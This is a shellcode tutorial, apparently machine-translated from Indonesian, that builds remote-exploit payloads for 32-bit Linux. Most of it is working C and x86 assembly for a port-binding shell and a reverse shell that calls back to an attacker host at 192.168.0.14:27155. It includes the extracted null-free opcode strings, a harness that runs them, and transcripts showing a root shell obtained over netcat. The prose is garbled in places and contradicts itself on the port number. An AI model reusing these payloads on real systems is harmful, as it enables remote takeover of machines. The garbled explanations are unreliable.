In socket programming we will communicate with other computers which are not always a type of architecture that we wear. Maybe in our computer using little endian, communicate with computers that are using big endian. Because there's this variation, then the IP protocol defines the term "network byte order and host byte order.

.

Network byte order is the byte order of network protocols that use big endian byte ordering.

Host byte order is the byte order used for client/server, can little or big endian architecture depends on his or her computer.

Host byte order may be the same or different host byte order

.

On little endian notation, the low byte is written first, then the high byte. While in big endian notation, the high bytes are written first, then bytes

height. Look at the image below to see the differences of little and big endian.

 

Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0x0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.

Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.

Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut: 

 

Notice in the picture above, the field destination IP is the 192.168.0.14 when written in the form of dotted hexadecimal is C0.A 8.00.0 e. In IP packet network, were written in the form of C0.A 8.00.0 E, i.e. big endian notation to C0.A 8.00.0 e. when using little endian notation, the value will be stored as 0E. 00. C0 A8..

In the picture above also look that field destination port and source port also be written in big endian notation. So obviously internally we have seen the raw packet data taken from the network, all values are written in big endian notation. Now living computers involved in communications must conform to the notation. When its architecture is also put on big endian, then nothing needs to be converted.

Because the host byte order on the computer that I use (IA32) put on a little endian byte order, while the network uses big endian, little endian conversion required of it to big endian. There are many functions to perform this conversion, among other things:

• htons() dan htonl()
  
  Change the host byte order to network byte order. This function is used to send the package, before the data is written in the package and sent to the network must be converted first in network byte order.
  
  How to write the port 80 is in network byte order? The first 80 in hexa is 0 × 0050. Because the host (IA32) put on a little-endian, and network use big endian, then 0 × 0050 this needs to be reversed once a 0 × 5000. Why should be reversed? Remember in IA32, a value of 0 × 5000 on the host computer's memory will be stored as 0 × 00 0 × 50 and rendered in the packet in the same sequence 0 × 00 0 × 50. When 0 × 0050 isn't reversed, then in the memory of the host computer (IA32) will saved as 0 × 50 0 × 00, resulting in packet writing port 0 × 50 0 × 00 which means port 20.480 when interpreted using big endian instead of port 80.

• ntohs() dan ntohl()
  
  Change the network byte order to host byte order. This function is used when receiving packets from the network. In the package of data written in big endian notation, so that needs to be converted to host byte order is appropriate (in the case of IA32 is little endian).

In the previous example, port 80 on the network packet is written in the order of 0 × 00 0 × 50. This value when received by the host computer are also stored in memory in the same order. The sequence of two bytes 0 × 00 0 × 50 in hosts that use little endian defined as 0 × 5000 i.e. 20.480. Therefore it needs to be converted first into little endian notation, a 0 × 50 0 × 00. Two bytes of 0 × 50 0 × 00 in little endian system is defined as a value of 0 × 0050 i.e. port 80.

 

The picture above illustrates the use of a function to convert endianness between the host and the network. Later we drew up in the shellcode will not use that function, we will write in the form of network byte order.

Socket Address Structure

In socket programming, a process will be put on a particular IP address and port are stored in a data structure called a socket address structure as below:

:

typedef uint32_t in_addr_t; struct in_addr { in_addr_t s_addr; };   struct sockaddr_in { sa_family_t sin_family; in_port_t sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; };

sin_family is the type of address used in the socket, in this case we fill with 2 or AFINET, i.e., the IP (internet protocol) address. sin_addr is the IP address that is of type struct in_addr, which has only one field namely s_addr type integer. In the case of port bindings shellcode, sin_addr. s_addr is filled with 0 or INADDR_ANY which means we use all IP on localhost (127.0.0.1 not only but all the IP address on the computer). sin_port is the port that will be used to LISTEN, please fill with any port that is not used.

Remember write down the IP address and port must be in the form of network byte order

Client Server Socket Programming

Socket programming involves two parties, i.e., the client and the server. The relationship between the client and the server as well as the functions that are used can be seen in the picture above.

On the server side, the function used is:

1. socket ()
   This is a function to create the socket in either server-side or client. First thing to do in socket programming is to create a socket with this function. 
    
2. the bind ()
   This is the function to use a specific IP address and port in the socket that was made with the previous socket () function.
    
3. listen ()
   This is a function to LISTEN or waiting for a connection request from the client.
    
4. accept ()
   This is a function to accept connections from clients.
    
5. read ()
   This is a function to receive data sent from client.
    
6. write ()
   This is a function to send data to the client.

While on the client side is simpler, functions that are used are:

1. socket ()
   The same as on the server, this function is a function that is called in the first socket programming.
    
2. connect ()
   This function is to open the connection to the server.
    
3. read ()
   This function to receive data from the server.
    
4. write ()
   This function to send data to the server.

Socket is a File

In UNIX everything is a file, as well as the socket. Each file once opened, can be operated using the file handler. When the program calls the function socket (), then he will accept a socket file handler, and the handler socket operations can be done to communicate over the network.

Why do I need to explain about it? For in the port binding shellcode we need to redirect the file handler stdin, stdout and stderr to the file handler socket. STDIN is a file handler with a value of 0, STDOUT is the file handler with a value of 1 and the STDERR is a file handler with a value of 2.

Usually the stdin is a keyboard, so with reading stdin program will accept input from the user. But in this shellcode programs do not receive input directly from the keyboard, but the input is derived from the client socket. So that input from the client socket could be accepted by the shell that we will execute, then we need to do cloning from the client socket to stdin. With cloning, now stdin is a socket client and the program receives input from the client socket.

Stdout is the place to display output that is usually the display console. But in this case, the output should be able to read by the attacker, who was on another computer through the network. Therefore stdout should also dicloning to the client socket so shell could send output through the network. While the screen is usually the stderr console, similar to stdout.

Cloning file handler is done by calling the function dup2 ([socket handler], [stdin/stdout/stderr]). This function creates a socket handler and stdin/stdout/stderr are equal.

Create A Port Binding Shellcode

Port binding acts as a shellcode meaning shellcode server waiting for connections from clients that attacker. Before we make shellcode in assembly language I will make the program port bindings in C language to make it easier to understand. Source code port bindings shellcode in plain C looks like belowi:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

#include <sys/socket.h> #include <netinet/in.h>   int main() { char *shell[2]; int server; // server socket file handler int client; // client socket file handler struct sockaddr_in serv_addr; // definisi ipaddress dan port   server=socket(2,1,0); // membuat socket STREAM serv_addr.sin_addr.s_addr=0; // ip address ALL LOCAL address serv_addr.sin_port=0x5C09; // port 2396 dalam network byte order serv_addr.sin_family=2; // Jenis address IP bind(server,(struct sockaddr*)&serv_addr,16); // bind socket ke port dan ipaddress listen(server,0); // menunggu koneksi dari client client=accept(server,0,0); // koneksi dari client sudah terjalin   dup2(client,0); // duplicate stdin ke client socket dup2(client,1); // duplicate stdout ke client socket dup2(client,2); // duplicate stderr ke cilent socket   shell[0] = "/bin/sh"; shell[1] = 0; execve(shell[0],shell,0); // execute shell dengan stdin,stdout dan stderr ke socket }

As in the picture which I have described above, socket programming in server started from the socket function () to create a server socket and get the file handlernya. After that the ip address and port must be defined in the struct sockaddr_in. Socket address will be used in the bind () function to bind to the ip address and port to which the socket is created beforehand. After the ip and port is bound to the socket, can we begin to wait for connections from the client to the function listen (). The Program will function in blocking listen (). The Program will resume, start running again when the client opens a connection and the relationship has been created. After a relationship has been created, we will call the accept function () to get a file handler socket to the client.

There are two Sockets used: server and client socket socket

Port which we will use to LISTEN is port 340, which in 0x095C is hexadesimal. Remember writing a port must be in the form of network byte order (big endian), so the writing should be reversed to become 0x5C09.

I use the IP address value 0 which means that all the local address. Local address 127.0.0.1 is not only here but also all the ip address defined on the interface on the host. When in the host there are 3 ethernet card with a different ip, then she will listen on all IPs.

In the above program before we execute the/bin/sh, we need to redirect stdin, stdout and stderr to the client socket. It is intended for the program to be executed with the execve will inherit stdin, stdout and stderr from which executes it. So when not dicloning first, then stdin, stdout, stderr will be put on screen keyboard and console so it could not be used to send a command and receive output from a distance.

Test

Now let's test the program port bindings above. I put on two consoles on the same computer to test it. On the first console I will compile and run the program as root.

$ gcc portbind.c -o portbind $ sudo ./portbind

After portbind is executed as root with sudo, now in another console I opened a connection to port 340 using netcat program

$ nc localhost 2396 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root exit

Port Binding dalam Assembly

Okay in testing above we have successfully created programs that listen to a specific port and execute shell when there are incoming connections. Now we have to make similar programs but in assembly language. The same as making a local shellcode, we use the interrupt 80 hexa to call the system call. System call which we will call is a socket, bind, listen, accept, dup2 and execve.

The family system call socket, bind, listen and accept is one system call with the number 102. Before calling interrupt 80 h we need to first define what we will call, if the socket, bind, listen or accept. These options should be included in the register EBX:

• EBX = 1 to socket () 
• EBX = 2 for bind () 
• EBX = 3 to connect () 
• EBX = 4 to listen () 
• EBX = 5 for accept ()

The parameters for the function of the socket, bind, connect, listen, and accept are stored as an array of addressnya that is stored in register ECX. As usual the register EAX to be filled with system call number 102.

struct sockaddr_in in Assembly

The complicated part in this shellcode is when the form struct sockaddr_in. This Struct is actually measuring 16 bytes, but the last 8 bytes are unused sin_zero, so we'll just focus fills the first 8 bytes.

The arrangement of bytes in struct sockaddr_in is:

• Bytes 1 and 2: the sin_family will be filled with 0 × 0002 (AF_INET).

• Bytes of the 3rd and 4th: sin_port which will be filled with 0x5C09 (port 340).

• The 5th Byte s/d 4th 8: sin_addr. s_addr which will be filled with 0 × 00000000 (all IP interfaces on the host).

Struct sockaddr_in from address must be stored in ECX. We will be utilizing this struct to form a stack. Because the stack is LIFO ACCOUNTING data structure, then we must first push 4 byte (0 × 00000000), later followed by a 2 byte push for new sin_port and final push for sin_family. After all in-push, then ESP refers to address this struct so we have to copy the ECX.

Assembly Snipped below are instructions for creating struct sockaddr_in. At the end of the source, ESP point to struct sockaddr_in address.

1 2 3 4 5

xor edx,edx ; edx = 0 push edx ; push sin_addr.s_addr 0x0 push word 0x5C09 ; push sin_port add edx,2 push dx ; push sin_family 0x0002

After the above snippet is executed, struct sockaddr_in will look like below:

0x02 0x00 0x09 0x5C 0x00 0x00 0x00 0x00

0×02 0×00 is sin_family was, the result of the instruction "push dx" at the moment regsiter DX is worth 2. The next Byte is 0 × 09 0x5C sin_port is, the result of the instruction "push word 0x5C09". Then 4 bytes of the rest is sin_addr. s_addr result of instruction "push edx" at the time of EDX is worth 0.

Source Code Assembly Port Bindings Shellcode

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81

BITS 32 section .text global _start   _start: xor eax,eax xor ebx,ebx xor edx,edx   ;server=socket(2,1,0) push eax ; push 0 push byte 0x1 ; push 1 push byte 0x2 ; push 2 mov ecx,esp ; ECX points to [2][1][0] inc bl ; EBX=1 means socket() mov al,102 int 0x80   ; esi = server socket handler mov esi,eax   ;bind(server,(struct sockaddr*)&serv_addr,16) push edx push word 0x5C09 add edx,2 push dx mov ecx,esp ; ECX = &serv_addr push byte 16 ; push 16 (sizeof struct sockaddr) push ecx ; push &serv_addr push esi ; push server socket handler mov ecx,esp ; ECX points to [server][&serv_addr][16] inc bl ; EBX=2 means bind() mov al,102 int 0x80   ;listen(server,0) xor edx,edx push edx ; push 0 push esi ; push server socket handler mov ecx,esp ; ECX points to [server][0] mov bl,0x4 ; EBX=4 means listen() mov al,102 int 0x80   ;client=accept(server,0,0) push edx ; push 0 push edx ; push 0 push esi ; push server socket handler mov ecx,esp ; ECX points to [server][0][0] inc bl ; EBX=5 means accept() mov al,102 int 0x80   ; ebx = client socket handler mov ebx,eax   ;dup2(client,0) xor ecx,ecx mov al,63 int 0x80   ;dup2(client,1) inc ecx mov al,63 int 0x80   ;dup2(client,2) inc ecx mov al,63 int 0x80   ;execve "/bin//sh" push edx ; push NULL (0x0) push long 0x68732f2f ; push //sh push long 0x6e69622f ; push /bin mov ebx,esp ; EBX = address of "/bin//sh" push edx ; push NULL (0x0) push ebx ; push address of "/bin//sh" mov ecx,esp ; ECX address of [address of "/bin//sh",NULL] mov al,0x0b ; exec system call int 0x80

When you've read the previous article learn to make shellcode part 1 you certainly already know about the system call to execute shell (execve), so I don't have to explain it again here.

Dup2 System call is very simple, register to be filled is filled with EBX client socket handler, ECX filled file handler for stdin, stdout and stderr, and the last is the EAX number should be filled with system call, 63.

On the family system call socket programming, socket bind (), (), listen (), accept () all arguments are stored in the form of a block of memory in sequence with the address is stored in register ECX. For example, for socket (2, 1, 0), ECX register must contain the address of the memory block that contains the following bytes: 0 × 02 0 × 01 0 × 00.

Take the Opcode to Shellcode

The next step is we need to compile and link the source assembly. After that, we disassemble the objdump to be extracted opcodenya.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

$ nasm -f elf portbind.asm $ ld -o portbind_asm portbind.o $ objdump -d ./portbind_asm   ./portbind_asm: file format elf32-i386   Disassembly of section .text:   08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 31 db xor %ebx,%ebx 8048064: 31 d2 xor %edx,%edx 8048066: 50 push %eax 8048067: 6a 01 push $0x1 8048069: 6a 02 push $0x2 804806b: 89 e1 mov %esp,%ecx 804806d: fe c3 inc %bl 804806f: b0 66 mov $0x66,%al 8048071: cd 80 int $0x80 8048073: 89 c6 mov %eax,%esi 8048075: 52 push %edx 8048076: 66 68 09 5c pushw $0x5c09 804807a: 81 c2 02 00 00 00 add $0x2,%edx 8048080: 66 52 push %dx 8048082: 89 e1 mov %esp,%ecx 8048084: 6a 10 push $0x10 8048086: 51 push %ecx 8048087: 56 push %esi 8048088: 89 e1 mov %esp,%ecx 804808a: fe c3 inc %bl 804808c: b0 66 mov $0x66,%al 804808e: cd 80 int $0x80 8048090: 31 d2 xor %edx,%edx 8048092: 52 push %edx 8048093: 56 push %esi 8048094: 89 e1 mov %esp,%ecx 8048096: b3 04 mov $0x4,%bl 8048098: b0 66 mov $0x66,%al 804809a: cd 80 int $0x80 804809c: 52 push %edx 804809d: 52 push %edx 804809e: 56 push %esi 804809f: 89 e1 mov %esp,%ecx 80480a1: fe c3 inc %bl 80480a3: b0 66 mov $0x66,%al 80480a5: cd 80 int $0x80 80480a7: 89 c3 mov %eax,%ebx 80480a9: 31 c9 xor %ecx,%ecx 80480ab: b0 3f mov $0x3f,%al 80480ad: cd 80 int $0x80 80480af: 41 inc %ecx 80480b0: b0 3f mov $0x3f,%al 80480b2: cd 80 int $0x80 80480b4: 41 inc %ecx 80480b5: b0 3f mov $0x3f,%al 80480b7: cd 80 int $0x80 80480b9: 52 push %edx 80480ba: 68 2f 2f 73 68 push $0x68732f2f 80480bf: 68 2f 62 69 6e push $0x6e69622f 80480c4: 89 e3 mov %esp,%ebx 80480c6: 52 push %edx 80480c7: 53 push %ebx 80480c8: 89 e1 mov %esp,%ecx 80480ca: b0 0b mov $0xb,%al 80480cc: cd 80 int $0x80

Byte Terlarang di Shellcode

From the results above objdump looks there are forbidden, i.e. byte 0 × 00 which is part of the instruction opcode: "add edx, 2.3″. Why byte 0 × 0 must not be there? Because when we injected byte string, then 0 × 0 is considered to be the end of a string of shellcode, consequently we will not be terinjeksi with a full and truncated at byte 0 × 0.

That byte 0 × 0 does not exist, then we should replace the "add edx, 2.3″ with other instructions that are equivalent, i.e. the replacement instructions should result in increasing the value of edx with 2. I would replace the instructions "add edx, 2.3″ with the instruction" inc edx "twice. Let's look at the difference between opcode "add edx, 2.3″ with the" inc edx ". 

804807a: 81 c2 02 00 00 00 add edx, 2

804807a: 42 inc edx 804807b: 42 inc edx

Note the above two opcode. There are two advantages that we get by replacing the add instruction. First is no more bytes of 0 × 0. The second is its size, more efficient instruction "inc edx" measures only 1 byte, so the total size is 2 bytes. While the instructions "add edx, 2.3″ size 6 bytes, we save 4 bytes to get the same effect.

OK once we get rid of the forbidden byte, we should extract opcodenya to become the shellcode. We will use again the way that I use in the article part 1 for quickly updating the extracts opcode from objdump output.

.

$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6  -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed  's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80 \x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1 \xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52 \x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41 \xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

After we get the shellcode, let's try again using perl and ndisasm, if disassemblernya results similar to the initial source assembly, means the shellcode is correct.

.

$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3 \xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10 \x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0 \x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0 \x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u - 00000000 31C0 xor eax,eax 00000002 31DB xor ebx,ebx 00000004 31D2 xor edx,edx 00000006 50 push eax 00000007 6A01 push byte +0x1 00000009 6A02 push byte +0x2 0000000B 89E1 mov ecx,esp 0000000D FEC3 inc bl 0000000F B066 mov al,0x66 00000011 CD80 int 0x80 00000013 89C6 mov esi,eax 00000015 52 push edx 00000016 6668095C push word 0x5c09 0000001A 42 inc edx 0000001B 42 inc edx 0000001C 6652 push dx 0000001E 89E1 mov ecx,esp 00000020 6A10 push byte +0x10 00000022 51 push ecx 00000023 56 push esi 00000024 89E1 mov ecx,esp 00000026 FEC3 inc bl 00000028 B066 mov al,0x66 0000002A CD80 int 0x80 0000002C 31D2 xor edx,edx 0000002E 52 push edx 0000002F 56 push esi 00000030 89E1 mov ecx,esp 00000032 B304 mov bl,0x4 00000034 B066 mov al,0x66 00000036 CD80 int 0x80 00000038 52 push edx 00000039 52 push edx 0000003A 56 push esi 0000003B 89E1 mov ecx,esp 0000003D FEC3 inc bl 0000003F B066 mov al,0x66 00000041 CD80 int 0x80 00000043 89C3 mov ebx,eax 00000045 31C9 xor ecx,ecx 00000047 B03F mov al,0x3f 00000049 CD80 int 0x80 0000004B 41 inc ecx 0000004C B03F mov al,0x3f 0000004E CD80 int 0x80 00000050 41 inc ecx 00000051 B03F mov al,0x3f 00000053 CD80 int 0x80 00000055 52 push edx 00000056 682F2F7368 push dword 0x68732f2f 0000005B 682F62696E push dword 0x6e69622f 00000060 89E3 mov ebx,esp 00000062 52 push edx 00000063 53 push ebx 00000064 89E1 mov ecx,esp 00000066 B00B mov al,0xb 00000068 CD80 int 0x80

Okay, shellcodenya is correct. After that let more Python, we must test with the following C program.

 .

Don't forget to turn off the exec shield by means of "echo 0 >/proc/sys/kernel/exec-shield" before the C program below can be executed. Otherwise you will get a segmentation fault error.

1 2 3 4

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1  \xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89  \xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89  \xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80  \x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80  \x52\x68\x2f \x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89  \xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); }

$ gcc portbindshellcode.c -o portbindshellcode $ sudo ./portbindshellcode

After a run as root on the console, I tried another connection with netcat to port 340.

$ nc localhost 2396 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit

Successful! Congratulations, port bindings shellcode is now ready to be used for remote exploit.

Create Reverse Connecting Shellcode

Well now we're treading on the creation of shellode is of type reverse connecting. In this type of shellcode, acts as a shellcode client and the attacker setting up a server that is ready to be contacted at a given IP and port. As a simulation, we assume the attacker IP and port is 192.168.0.14: 27155 and target computer IP is 192.168.0.10.

Because the socket programming on the client side is more simple and similar to the port bindings, I just made this shellcode in the C language.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

#include <sys/socket.h> #include <netinet/in.h>   int main(void) { char *shell[2]; int soc; int remote; struct sockaddr_in serv_addr;   serv_addr.sin_family=2; // internet address serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14 serv_addr.sin_port=0x136A; // port 27155 soc = socket(2,1,0); remote = connect(soc,(struct sockaddr*)&serv_addr,16); dup2(soc,0); dup2(soc,1); dup2(soc,2); shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,0); }

Before we compile and execution, we prepare the first attacker in computer servers that listen on port and port 27155 192.168.0.14. Computer operating systems are windows attacker and the attacker using netcat for windows to create a simple server like below.

.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...

Okay after the attacker server already listen in: 27155 192.168.0.14. Now we compile it and execute reverse program as root to simulate an exploit to get a root shell.

$ gcc reverse.c -o reverse $ sudo ./reverse

Now notice what happens on the computer after the program is the reverse attacker to run. 

C:\>nc -lvn -p 27155 listening on [any] 27155 ... connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) pwd /home/admin exit

There are incoming connections from ip target computer (192.168.0.10). After the connection is established, the attacker can start sending a command to be executed on the target computer.

Reverse Connecting in Assembly

There is no novelty in this shellcode compared with shellcode port bindings before, so nothing needs to be explained further. We simply make the same program in assembly language.

BITS 32 section .text global _start _start: xor eax,eax xor ebx,ebx xor edx,edx   ;soc=socket(2,1,0) push eax ; push 0 push byte 0x1 ; push 1 push byte 0x2 ; push 2 mov ecx,esp ; ECX = address of [2,1,0] inc bl ; EBX=1 means socket() call mov al,102 int 0x80   ; ESI = soc socket handler mov esi,eax   ;remote = connect(soc,(struct sockaddr*)&serv_addr,16); push edx ; push 0 push long 0x0E00A8C0 ; push sin_addr.s_addr value push word 0x136A ; push sin_port value xor ecx,ecx ; ecx = 0 mov cl,2 ; cx = 2 push word cx ; push sin_family value mov ecx,esp ; ECX = address of struct sockaddr push byte 16 ; push 16 push ecx ; push address of struct sockaddr push esi ; push soc handler mov ecx,esp ; ECX = address of [soc,&serv_addr,16] mov bl,3 ; EBX=3 means connect() mov al,102 int 0x80   ; EBX = remote socket handler mov ebx,esi   ;dup2(soc,0) xor ecx,ecx ; ECX = 0 = stdin file handler mov al,63 int 0x80   ;dup2(soc,1) inc ecx ; ECX = 1 = stdout file handler mov al,63 int 0x80   ;dup(soc,2) inc ecx ; ECX = 2 = stderr file handler mov al,63 int 0x80   ;execve "/bin//sh" push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80

There's nothing to me explain because shellcode is similar to the port binding and I also already give comments to clarify in the source above. We just compile and link the program assembly.

$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o

Now we have to mendisassemble the program and take opcodenya to assembled a shellcode in a manner like the previous shellcode port binding.

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr

 -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6

\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51

\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd

\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53

\x89\xe1\xb0\x0b\xcd\x80"

Eliminate Illicit Bytes

Okay now we have get shellcodenya. But we check whether there is any illegal bytes in it? It turns out there's a 0 × 00 bytes in the shellcode that comes from the instruction "push long 0x0E00A8C0". Byte 0 × 00 is not inevitable because the attacker IP contains 0, i.e. 192.168.0.14. Therefore, we should menyiasatinya in order not to appear byte 0 × 00.

I'll replace those instructions into two, namely push push push 0x0E00 and 0xA8C0. Push the value of 0x0E00 cannot be done directly because that would result in the opcode contains the 0 × 00. Therefore I will have to make value 0x0E00 without involving the numbers 00 by means of:

:

; DX = 0 mov dl,0x0E ; DX = 0x000E shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00

Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.

b2 0e mov dl,0x0E 66 c1 e2 08 shl dx,8 66 52 push dx 66 68 c0 a8 push word 0xA8C0

After replacing the "push" 0x0E00A8C0 long with 4 lines of instructions at the top, the new shellcode is as below:

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Now we are ready to test it by creating a program in C language as follows:

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(void) {
        asm("jmp shellcode");
}

Let's compile it and run the program in C language above. But don't forget the previous attacker's computer to run the server listen on 192.168.0.14: 27155.

$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode

Let's see what happens to the console after the attacker shellcode execution.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit

Successful! Now we have managed to make shellcode that can be used for remote shellcode. Congratulations you have successfully created two kinds of shellcode that can be used for remote exploit, namely port binding and reverse connecting. In the next article I will discuss about stack based buffer overflow exploit, where we can put the shellcode we create in this article.

Assembly pieces below calling system call execve to execute/bin/sh.

read the continuation :

1. Learn To Make Shellcode (I): Local Exploit Shellcode
2. Learn To Make Shellcode (II): Remote Exploit Shellcode
3. Learn To Make Shellcode (III): Semi-Polymorphic Shellcode

Source : Ilmu Hacking.